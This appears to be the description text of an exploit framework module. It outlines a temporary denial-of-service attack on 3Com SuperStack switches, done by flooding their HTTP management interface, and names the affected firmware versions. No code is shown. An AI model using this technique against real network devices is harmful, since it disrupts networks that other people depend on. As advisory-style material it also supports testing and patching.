        This module causes a temporary denial of service condition
        against 3Com SuperStack switches. By sending excessive data
        to the HTTP Management interface, the switch stops responding
        temporarily. The device does not reset. Tested successfully
        against a 3300SM firmware v2.66. Reported to affect versions
        prior to v2.72.
